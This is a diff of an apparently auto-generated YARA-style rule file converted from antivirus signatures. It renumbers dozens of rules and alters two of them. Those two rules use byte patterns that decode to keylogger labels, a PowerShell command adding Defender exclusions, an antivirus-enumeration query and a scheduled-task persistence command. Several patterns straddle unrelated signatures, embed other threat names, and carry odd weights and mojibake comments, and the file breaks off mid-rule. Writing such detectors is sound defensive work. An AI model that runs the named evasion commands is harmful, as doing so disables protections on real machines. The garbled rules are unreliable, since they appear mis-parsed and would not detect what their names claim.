_InfrastructureShared_30388{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -373828,7 +396710,7 @@ rule _InfrastructureShared_28632{ ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*114+(#a_01_3 & 1)*104) >=4 } -rule _InfrastructureShared_28633{ +rule _InfrastructureShared_30389{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 13 00 21 " @@ -373854,7 +396736,7 @@ rule _InfrastructureShared_28633{ ((#a_01_0 & 1)*21283+(#a_01_1 & 1)*24932+(#a_01_2 & 1)*29279+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*0+(#a_01_8 & 1)*98+(#a_01_9 & 1)*30051+(#a_01_11 & 1)*110+(#a_01_12 & 1)*57+(#a_01_13 & 1)*25957+(#a_01_15 & 1)*97+(#a_01_16 & 1)*28508+(#a_01_17 & 1)*115+(#a_01_18 & 1)*100) >=4 } -rule _InfrastructureShared_28634{ +rule _InfrastructureShared_30390{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,64 00 64 00 06 00 21 " @@ -373867,7 +396749,7 @@ rule _InfrastructureShared_28634{ ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*50+(#a_01_3 & 1)*26223+(#a_01_5 & 1)*45) >=100 } -rule _InfrastructureShared_28635{ +rule _InfrastructureShared_30391{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,08 00 08 00 06 00 21 " @@ -373881,7 +396763,7 @@ rule _InfrastructureShared_28635{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*109+(#a_01_3 & 1)*115+(#a_01_4 & 1)*13622+(#a_01_5 & 1)*20000) >=8 } -rule _InfrastructureShared_28636{ +rule _InfrastructureShared_30392{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -373892,7 +396774,7 @@ rule _InfrastructureShared_28636{ ((#a_01_0 & 1)*16675+(#a_01_2 & 1)*115) >=4 } -rule _InfrastructureShared_28637{ +rule _InfrastructureShared_30393{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,06 00 06 00 08 00 21 " @@ -373909,7 +396791,7 @@ rule _InfrastructureShared_28637{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*17201+(#a_01_2 & 1)*16722+(#a_01_3 & 1)*25651+(#a_01_4 & 1)*14658+(#a_01_5 & 1)*15742+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1) >=6 } -rule _InfrastructureShared_28638{ +rule _InfrastructureShared_30394{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 05 00 21 " @@ -373923,7 +396805,7 @@ rule _InfrastructureShared_28638{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*23623+(#a_01_2 & 1)*23668+(#a_01_3 & 1)*29295+(#a_01_4 & 1)*26465) >=1 } -rule _InfrastructureShared_28639{ +rule _InfrastructureShared_30395{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0a 00 0a 00 05 00 21 " @@ -373936,7 +396818,7 @@ rule _InfrastructureShared_28639{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*32+(#a_01_2 & 1)*118+(#a_01_4 & 1)*111) >=10 } -rule _InfrastructureShared_28640{ +rule _InfrastructureShared_30396{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -373947,7 +396829,7 @@ rule _InfrastructureShared_28640{ ((#a_01_0 & 1)*20515+(#a_01_2 & 1)*57) >=3 } -rule _InfrastructureShared_28641{ +rule _InfrastructureShared_30397{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 06 00 21 " @@ -373960,7 +396842,7 @@ rule _InfrastructureShared_28641{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*100+(#a_01_4 & 1)*47+(#a_01_5 & 1)*112) >=3 } -rule _InfrastructureShared_28642{ +rule _InfrastructureShared_30398{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 05 00 21 " @@ -373972,7 +396854,7 @@ rule _InfrastructureShared_28642{ ((#a_01_0 & 1)*16675+(#a_01_2 & 1)*17172+(#a_01_4 & 1)*112) >=4 } -rule _InfrastructureShared_28643{ +rule _InfrastructureShared_30399{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 03 00 21 " @@ -373984,7 +396866,7 @@ rule _InfrastructureShared_28643{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*21100+(#a_01_2 & 1)*29797) >=1 } -rule _InfrastructureShared_28644{ +rule _InfrastructureShared_30400{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0d 00 0d 00 0d 00 21 " @@ -374004,7 +396886,7 @@ rule _InfrastructureShared_28644{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*11849+(#a_01_2 & 1)*26996+(#a_01_3 & 1)*17247+(#a_01_4 & 1)*26433+(#a_01_5 & 1)*84+(#a_01_8 & 1)*70+(#a_01_9 & 1)*65+(#a_01_10 & 1)*65+(#a_01_11 & 1)*28516+(#a_01_12 & 1)*70) >=13 } -rule _InfrastructureShared_28645{ +rule _InfrastructureShared_30401{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,07 00 07 00 07 00 21 " @@ -374018,7 +396900,7 @@ rule _InfrastructureShared_28645{ ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*67+(#a_01_4 & 1)*56+(#a_01_5 & 1)*117+(#a_01_6 & 1)*29544) >=7 } -rule _InfrastructureShared_28646{ +rule _InfrastructureShared_30402{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 04 00 21 " @@ -374030,7 +396912,7 @@ rule _InfrastructureShared_28646{ ((#a_01_0 & 1)*25635+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1) >=1 } -rule _InfrastructureShared_28647{ +rule _InfrastructureShared_30403{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 05 00 21 " @@ -374043,7 +396925,7 @@ rule _InfrastructureShared_28647{ ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*115+(#a_01_3 & 1)*32+(#a_01_4 & 1)*1) >=1 } -rule _InfrastructureShared_28648{ +rule _InfrastructureShared_30404{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,06 00 06 00 06 00 21 " @@ -374057,7 +396939,7 @@ rule _InfrastructureShared_28648{ ((#a_01_0 & 1)*16675+(#a_01_2 & 1)*102+(#a_01_3 & 1)*114+(#a_01_4 & 1)*28270+(#a_01_5 & 1)*19044) >=6 } -rule _InfrastructureShared_28649{ +rule _InfrastructureShared_30405{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -374069,7 +396951,7 @@ rule _InfrastructureShared_28649{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*28521+(#a_01_2 & 1)*29793) >=4 } -rule _InfrastructureShared_28650{ +rule _InfrastructureShared_30406{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 0c 00 21 " @@ -374089,7 +396971,7 @@ rule _InfrastructureShared_28650{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*30066+(#a_01_2 & 1)*23653+(#a_01_3 & 1)*25188+(#a_01_4 & 1)*21587+(#a_01_5 & 1)*25942+(#a_01_6 & 1)*25133+(#a_01_7 & 1)*12336+(#a_01_8 & 1)*9252+(#a_01_9 & 1)*18771+(#a_01_10 & 1)*100) >=2 } -rule _InfrastructureShared_28651{ +rule _InfrastructureShared_30407{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,12 00 12 00 12 00 21 " @@ -374113,7 +396995,7 @@ rule _InfrastructureShared_28651{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*22026+(#a_01_2 & 1)*25654+(#a_01_3 & 1)*26740+(#a_01_4 & 1)*8448+(#a_01_7 & 1)*85+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1+(#a_01_11 & 1)*1+(#a_01_12 & 1)*1+(#a_01_13 & 1)*1+(#a_01_14 & 1)*1+(#a_01_15 & 1)*1+(#a_01_16 & 1)*0+(#a_01_17 & 1)*28516) >=18 } -rule _InfrastructureShared_28652{ +rule _InfrastructureShared_30408{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,09 00 09 00 09 00 21 " @@ -374128,7 +397010,7 @@ rule _InfrastructureShared_28652{ ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*76+(#a_01_4 & 1)*49+(#a_01_6 & 1)*51+(#a_01_7 & 1)*26227+(#a_01_8 & 1)*25710) >=9 } -rule _InfrastructureShared_28653{ +rule _InfrastructureShared_30409{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 0a 00 21 " @@ -374145,7 +397027,7 @@ rule _InfrastructureShared_28653{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*25710+(#a_01_2 & 1)*21582+(#a_01_3 & 1)*30837+(#a_01_4 & 1)*8293+(#a_01_5 & 1)*13874+(#a_01_6 & 1)*89+(#a_01_8 & 1)*56) >=5 } -rule _InfrastructureShared_28654{ +rule _InfrastructureShared_30410{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,06 00 06 00 06 00 21 " @@ -374158,7 +397040,7 @@ rule _InfrastructureShared_28654{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*103+(#a_01_2 & 1)*111+(#a_01_4 & 1)*65) >=6 } -rule _InfrastructureShared_28655{ +rule _InfrastructureShared_30411{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 06 00 21 " @@ -374173,7 +397055,7 @@ rule _InfrastructureShared_28655{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*28276+(#a_01_2 & 1)*18004+(#a_01_3 & 1)*13093+(#a_01_4 & 1)*12597+(#a_01_5 & 1)*28002) >=5 } -rule _InfrastructureShared_28656{ +rule _InfrastructureShared_30412{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,09 00 09 00 09 00 21 " @@ -374188,7 +397070,7 @@ rule _InfrastructureShared_28656{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*30063+(#a_01_3 & 1)*20517+(#a_01_4 & 1)*26995+(#a_01_6 & 1)*8993+(#a_01_8 & 1)*103) >=9 } -rule _InfrastructureShared_28657{ +rule _InfrastructureShared_30413{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0b 00 0b 00 0b 00 21 " @@ -374205,7 +397087,7 @@ rule _InfrastructureShared_28657{ ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*97+(#a_01_4 & 1)*111+(#a_01_5 & 1)*122+(#a_01_6 & 1)*11587+(#a_01_7 & 1)*31073+(#a_01_8 & 1)*25445+(#a_01_9 & 1)*29728) >=11 } -rule _InfrastructureShared_28658{ +rule _InfrastructureShared_30414{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 05 00 21 " @@ -374219,7 +397101,7 @@ rule _InfrastructureShared_28658{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*26144+(#a_01_2 & 1)*26708+(#a_01_3 & 1)*8292+(#a_01_4 & 1)*1) >=1 } -rule _InfrastructureShared_28659{ +rule _InfrastructureShared_30415{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,1e 00 1e 00 05 00 21 " @@ -374231,7 +397113,7 @@ rule _InfrastructureShared_28659{ ((#a_01_0 & 1)*20259+(#a_01_1 & 1)*103+(#a_01_3 & 1)*115) >=30 } -rule _InfrastructureShared_28660{ +rule _InfrastructureShared_30416{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 0b 00 21 " @@ -374249,7 +397131,7 @@ rule _InfrastructureShared_28660{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*12644+(#a_01_2 & 1)*13104+(#a_01_3 & 1)*30826+(#a_01_4 & 1)*5888+(#a_01_7 & 1)*55+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1) >=1 } -rule _InfrastructureShared_28661{ +rule _InfrastructureShared_30417{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,06 00 06 00 06 00 21 " @@ -374263,7 +397145,7 @@ rule _InfrastructureShared_28661{ ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*81+(#a_01_3 & 1)*52+(#a_01_4 & 1)*43+(#a_01_5 & 1)*75) >=6 } -rule _InfrastructureShared_28662{ +rule _InfrastructureShared_30418{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 0f 00 21 " @@ -374286,7 +397168,7 @@ rule _InfrastructureShared_28662{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*15360+(#a_01_2 & 1)*30052+(#a_01_3 & 1)*29798+(#a_01_4 & 1)*11876+(#a_01_5 & 1)*14930+(#a_01_6 & 1)*740+(#a_01_7 & 1)*738+(#a_01_8 & 1)*816+(#a_01_9 & 1)*2306+(#a_01_10 & 1)*-2814+(#a_01_11 & 1)*735+(#a_01_13 & 1)*76+(#a_01_14 & 1)*109) >=1 } -rule _InfrastructureShared_28663{ +rule _InfrastructureShared_30419{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,06 00 06 00 06 00 21 " @@ -374301,7 +397183,7 @@ rule _InfrastructureShared_28663{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*-3326+(#a_01_2 & 1)*740+(#a_01_3 & 1)*738+(#a_01_4 & 1)*816+(#a_01_5 & 1)*2306) >=6 } -rule _InfrastructureShared_28664{ +rule _InfrastructureShared_30420{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 05 00 21 " @@ -374314,7 +397196,7 @@ rule _InfrastructureShared_28664{ ((#a_01_0 & 1)*20515+(#a_01_1 & 1)*26957+(#a_01_3 & 1)*76+(#a_01_4 & 1)*109) >=4 } -rule _InfrastructureShared_28665{ +rule _InfrastructureShared_30421{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0a 00 0a 00 05 00 21 " @@ -374326,7 +397208,7 @@ rule _InfrastructureShared_28665{ ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*50+(#a_01_3 & 1)*52) >=10 } -rule _InfrastructureShared_28666{ +rule _InfrastructureShared_30422{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,06 00 06 00 0c 00 21 " @@ -374345,7 +397227,7 @@ rule _InfrastructureShared_28666{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*25445+(#a_01_2 & 1)*29477+(#a_01_3 & 1)*11557+(#a_01_4 & 1)*25934+(#a_01_5 & 1)*19524+(#a_01_6 & 1)*47+(#a_01_7 & 1)*67+(#a_01_9 & 1)*101+(#a_01_11 & 1)*49) >=6 } -rule _InfrastructureShared_28667{ +rule _InfrastructureShared_30423{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 05 00 21 " @@ -374357,7 +397239,7 @@ rule _InfrastructureShared_28667{ ((#a_01_0 & 1)*16675+(#a_01_2 & 1)*116+(#a_01_4 & 1)*67) >=4 } -rule _InfrastructureShared_28668{ +rule _InfrastructureShared_30424{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,07 00 07 00 07 00 21 " @@ -374371,7 +397253,7 @@ rule _InfrastructureShared_28668{ ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*70+(#a_01_3 & 1)*52+(#a_01_4 & 1)*48+(#a_01_5 & 1)*54) >=7 } -rule _InfrastructureShared_28669{ +rule _InfrastructureShared_30425{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,28 00 28 00 06 00 21 " @@ -374384,7 +397266,7 @@ rule _InfrastructureShared_28669{ ((#a_01_0 & 1)*16931+(#a_01_1 & 1)*116+(#a_01_3 & 1)*101+(#a_01_5 & 1)*10) >=40 } -rule _InfrastructureShared_28670{ +rule _InfrastructureShared_30426{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0f 00 0f 00 0f 00 21 " @@ -374405,7 +397287,7 @@ rule _InfrastructureShared_28670{ ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*97+(#a_01_3 & 1)*12855+(#a_01_5 & 1)*21014+(#a_01_6 & 1)*24415+(#a_01_8 & 1)*12557+(#a_01_9 & 1)*23653+(#a_01_10 & 1)*28521+(#a_01_11 & 1)*8309+(#a_01_12 & 1)*12079+(#a_01_13 & 1)*8307+(#a_01_14 & 1)*27758) >=15 } -rule _InfrastructureShared_28671{ +rule _InfrastructureShared_30427{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0a 00 0a 00 0b 00 21 " @@ -374423,7 +397305,7 @@ rule _InfrastructureShared_28671{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*23653+(#a_01_2 & 1)*28521+(#a_01_3 & 1)*8309+(#a_01_4 & 1)*12079+(#a_01_5 & 1)*8307+(#a_01_6 & 1)*27758+(#a_01_8 & 1)*12046+(#a_01_9 & 1)*29779) >=10 } -rule _InfrastructureShared_28672{ +rule _InfrastructureShared_30428{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,06 00 05 00 0b 00 21 " @@ -374442,7 +397324,7 @@ rule _InfrastructureShared_28672{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*24940+(#a_01_2 & 1)*29545+(#a_01_3 & 1)*25449+(#a_01_5 & 1)*29461+(#a_01_6 & 1)*70+(#a_01_7 & 1)*111+(#a_01_8 & 1)*124+(#a_01_9 & 1)*19529+(#a_01_10 & 1)*29301) >=5 } -rule _InfrastructureShared_28673{ +rule _InfrastructureShared_30429{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 07 00 21 " @@ -374456,7 +397338,7 @@ rule _InfrastructureShared_28673{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*115+(#a_01_3 & 1)*108+(#a_01_4 & 1)*112+(#a_01_6 & 1)*117) >=5 } -rule _InfrastructureShared_28674{ +rule _InfrastructureShared_30430{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,11 00 11 00 11 00 21 " @@ -374477,7 +397359,7 @@ rule _InfrastructureShared_28674{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*26213+(#a_01_2 & 1)*13669+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*0+(#a_01_10 & 1)*82+(#a_01_13 & 1)*69+(#a_01_15 & 1)*76) >=17 } -rule _InfrastructureShared_28675{ +rule _InfrastructureShared_30431{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,07 00 07 00 13 00 21 " @@ -374491,17 +397373,33 @@ rule _InfrastructureShared_28675{ $a_01_6 = {5b 00 41 00 6c 00 74 00 5d 00 } //1 [Alt] $a_01_7 = {5b 00 44 00 65 00 6c 00 5d 00 } //1 [Del] $a_01_8 = {5b 00 52 00 69 00 67 00 68 00 74 00 4d 00 6f 00 75 00 73 00 65 00 43 00 6c 00 69 00 63 00 6b 00 5d 00 } //1 [RightMouseClick] - $a_01_9 = {b3 01 00 03 00 03 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 50 72 6f 63 49 6e 6a 65 63 74 2e 41 21 4d 54 42 00 01 00 ab 57 00 a9 67 b3 e8 04 fd a3 76 9a 92 80 78 e4 dd d1 38 0d c6 35 98 18 f7 ec 6c 43 75 37 26 fa 13 94 48 f2 d0 8b 30 84 54 df 23 19 5b 3d 59 f3 ae a2 } //0 - $a_01_11 = {9b 7c a6 eb a5 be 16 0c e3 61 c0 8c 3a f5 73 2c 25 0b bb 4e 89 6b 53 6a b4 f1 e1 e6 bd 45 e2 f4 b6 66 cc 95 03 56 d4 1c 1e d7 fb c3 8e b5 e9 cf bf ba ea 77 39 af 33 c9 62 71 81 79 09 ad 24 cd f9 d8 e5 c5 b9 4d 44 08 86 e7 a1 1d aa ed 06 70 b2 } //-9938 - $a_01_12 = {a0 11 31 c2 27 90 20 f6 60 ff 96 5c b1 ab 9e 9c 52 1b 5f 93 0a ef 91 85 49 ee 2d 4f 8f 3b 47 01 00 ab 87 6d 46 d6 3e 69 64 2a ce cb 2f fc 97 05 7a ac 7f d5 1a 4b 0e a7 5a 28 14 3f 29 88 3c 4c 02 b8 da b0 17 55 1f 8a 7d 57 c7 8d 74 b7 c4 9f 72 7e 15 22 12 58 07 99 34 6e 50 de 68 65 bc db f8 c8 a8 2b 40 dc fe 32 a4 ca 10 21 f0 d3 5d 0f 00 6f 9d 36 42 4a 5e c1 e0 75 f3 } //16850 - $a_01_13 = {7b fb c8 4a d3 e6 6b 45 7d e8 4b d6 32 d8 fd 37 71 f1 e1 30 0f f8 1b 87 fa 06 3f 5e ba ae 5b 8a 00 bc 9d 6d c1 b1 0e 80 5d d2 d5 a0 84 07 14 b5 90 2c a3 b2 73 4c 54 92 74 36 51 38 b0 bd 5a fc 60 62 96 6c 42 f7 10 7c 28 27 8c 13 95 9c c7 01 00 28 51 57 55 24 f1 15 81 5a 12 e0 e7 54 49 21 2b ee f9 f4 a3 90 bd 86 0a 64 09 41 37 fe 26 ff 1c f6 61 75 f5 dd f4 c3 3b 97 00 00 61 b3 01 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 52 52 52 31 39 30 38 21 4d 54 42 00 01 00 14 64 00 65 00 62 00 75 00 67 00 2e 00 68 00 74 00 6d 00 6c 00 01 00 d8 4d 00 6f 00 7a 00 69 00 6c 00 6c 00 61 00 2f 00 35 } //-2874 - $a_01_15 = {00 28 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 3b 00 20 00 57 00 69 00 6e 00 64 00 6f 00 77 } //48 - $a_01_17 = {00 54 00 20 00 36 00 2e 00 31 00 29 00 20 00 41 00 70 00 70 00 6c 00 65 00 57 00 65 00 62 00 4b 00 69 00 74 00 2f 00 35 00 33 00 34 00 2e 00 32 00 33 00 20 00 28 00 4b 00 48 00 54 00 4d 00 4c 00 2c 00 20 00 6c 00 69 00 6b 00 65 00 20 } //32 + $a_01_9 = {b0 01 00 06 00 06 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 42 6c 61 64 61 62 69 6e 64 69 2e 41 59 44 21 4d 54 42 00 02 00 38 4f 00 66 00 66 00 6c 00 69 00 6e 00 65 00 4b 00 65 00 79 00 6c 00 6f 00 67 00 67 00 65 00 72 00 20 00 4e 00 6f 00 74 00 20 00 45 00 6e 00 61 00 } //0 + $a_01_10 = {00 65 00 64 00 01 00 72 45 00 78 00 65 00 63 00 75 00 74 00 69 00 6f 00 6e 00 50 00 6f 00 6c 00 69 00 63 00 79 00 20 00 42 00 79 00 70 00 61 00 73 00 73 00 20 00 41 00 64 00 64 00 2d 00 4d 00 70 00 50 00 72 00 65 00 66 00 65 00 72 00 65 00 6e 00 63 00 65 00 20 00 2d 00 45 00 78 00 63 00 6c 00 75 00 73 00 69 00 6f 00 6e 00 } //98 攀搀Ā爀ExecutionPolicy Bypass Add-MpPreference -Exclusion + $a_01_11 = {00 6f 00 63 00 65 00 73 00 73 00 01 00 3c 53 00 65 00 6c 00 65 00 63 00 74 00 20 00 2a 00 20 00 66 00 72 00 6f 00 6d 00 20 00 41 00 6e 00 74 00 69 00 76 00 69 00 72 00 75 00 73 00 50 00 72 00 6f 00 64 00 75 00 63 00 74 00 01 00 38 45 00 78 00 65 00 63 00 75 00 74 00 69 00 6f 00 6e 00 50 00 6f 00 6c 00 69 00 63 00 79 00 20 00 42 00 79 00 70 } //80 + $a_01_13 = {00 20 00 2d 00 46 00 69 00 6c 00 65 00 01 00 56 2f 00 63 00 72 00 65 00 61 00 74 00 65 00 20 00 2f 00 66 00 20 00 2f 00 52 00 4c 00 20 00 48 00 49 00 47 00 48 00 45 00 53 00 54 00 20 00 2f 00 73 00 63 00 20 00 6d 00 69 00 6e 00 75 00 74 00 65 00 20 00 2f 00 6d 00 6f 00 20 00 31 00 20 00 2f 00 74 00 6e 00 00 00 61 b3 01 00 03 00 03 00 03 00 21 } //115 + $a_01_14 = {4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 50 72 6f 63 49 6e 6a 65 63 74 2e 41 21 4d 54 42 00 01 00 ab 57 00 a9 67 b3 e8 04 fd a3 76 9a 92 80 78 e4 dd d1 38 0d c6 35 98 18 f7 ec 6c 43 75 37 26 fa 13 94 48 } //21539 + $a_01_15 = {30 84 54 df 23 19 5b 3d 59 f3 ae a2 82 63 01 83 2e d9 51 9b 7c a6 eb a5 be 16 0c e3 61 c0 8c 3a f5 73 2c 25 0b bb 4e 89 6b 53 6a b4 f1 e1 e6 bd 45 e2 f4 b6 66 cc 95 03 56 d4 1c 1e d7 fb c3 8e b5 e9 cf bf ba ea 77 39 af 33 c9 62 71 81 79 09 ad 24 cd f9 d8 e5 c5 b9 4d 44 08 86 e7 a1 1d aa ed 06 70 b2 d2 41 7b a0 11 31 c2 27 90 20 f6 60 ff 96 5c b1 ab 9e 9c 52 1b 5f 93 0a ef 91 85 49 ee 2d 4f 8f 3b 47 01 00 ab 87 6d } //-12046 + $a_01_16 = {69 64 2a ce cb 2f fc 97 05 7a ac 7f d5 1a 4b 0e a7 5a 28 14 3f 29 88 3c 4c 02 b8 da b0 17 55 1f 8a 7d 57 c7 8d 74 b7 c4 9f 72 7e 15 22 12 58 07 99 34 6e 50 de 68 65 bc db f8 c8 a8 2b 40 } //-10682 + $a_01_17 = {a4 ca 10 21 f0 d3 5d 0f 00 6f 9d 36 42 4a 5e c1 e0 75 f3 c6 f4 db 7b fb c8 4a d3 e6 6b 45 7d e8 4b d6 32 d8 fd 37 71 f1 e1 30 0f f8 1b 87 fa 06 3f 5e } //-292 + $a_01_18 = {8a 00 bc 9d 6d c1 b1 0e 80 5d d2 d5 a0 84 07 14 b5 90 2c a3 b2 73 4c 54 92 74 36 51 38 b0 bd 5a fc 60 62 96 6c 42 f7 10 7c 28 27 8c 13 95 9c c7 01 00 28 51 57 55 24 f1 15 81 5a 12 e0 e7 54 49 21 2b ee f9 f4 a3 90 bd 86 0a 64 09 41 37 fe 26 ff 1c f6 61 75 f5 dd f4 c3 3b 97 } //-20806 condition: - ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*84+(#a_01_2 & 1)*71+(#a_01_3 & 1)*78+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_01_9 & 1)*0+(#a_01_11 & 1)*-9938+(#a_01_12 & 1)*16850+(#a_01_13 & 1)*-2874+(#a_01_15 & 1)*48+(#a_01_17 & 1)*32) >=7 + ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*84+(#a_01_2 & 1)*71+(#a_01_3 & 1)*78+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_01_9 & 1)*0+(#a_01_10 & 1)*98+(#a_01_11 & 1)*80+(#a_01_13 & 1)*115+(#a_01_14 & 1)*21539+(#a_01_15 & 1)*-12046+(#a_01_16 & 1)*-10682+(#a_01_17 & 1)*-292+(#a_01_18 & 1)*-20806) >=7 } -rule _InfrastructureShared_28676{ +rule _InfrastructureShared_30432{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,06 00 06 00 05 00 21 " + + strings : + $a_01_0 = {46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 42 6c 61 64 61 62 69 6e 64 69 2e 41 59 44 21 4d 54 42 00 02 00 38 4f 00 66 00 66 00 6c 00 69 00 6e 00 65 00 4b 00 65 00 79 00 6c 00 6f 00 67 00 67 00 65 00 72 00 20 00 4e 00 6f 00 74 00 } //16675 㩆牔橯湡䴺䥓⽌求摡扡湩楤䄮䑙䴡䉔Ȁ㠀OfflineKeylogger Not + $a_01_1 = {00 6e 00 61 00 62 00 6c 00 65 00 64 00 01 00 72 45 00 78 00 65 00 63 00 75 00 74 00 69 00 6f 00 6e 00 50 00 6f 00 6c 00 69 00 63 00 79 00 20 00 42 00 79 00 70 00 61 00 73 00 73 00 20 00 41 00 64 00 64 00 2d } //32 + $a_01_3 = {00 72 00 65 00 66 00 65 00 72 00 65 00 6e 00 63 00 65 00 20 00 2d 00 45 00 78 00 63 00 6c 00 75 00 73 00 69 00 6f 00 6e 00 50 00 72 00 6f 00 63 00 65 00 73 00 73 00 01 00 3c 53 00 65 00 6c 00 65 00 63 00 74 00 20 00 2a 00 20 00 66 00 72 00 } //112 + $a_01_4 = {00 20 00 41 00 6e 00 74 00 69 00 76 00 69 00 72 00 75 00 73 00 50 00 72 00 6f 00 64 00 75 00 63 00 74 00 01 00 38 45 00 78 00 65 00 63 00 75 00 74 00 69 00 6f 00 6e 00 50 00 6f 00 6c 00 69 00 63 00 79 00 20 00 42 00 79 00 70 00 61 00 73 00 73 00 20 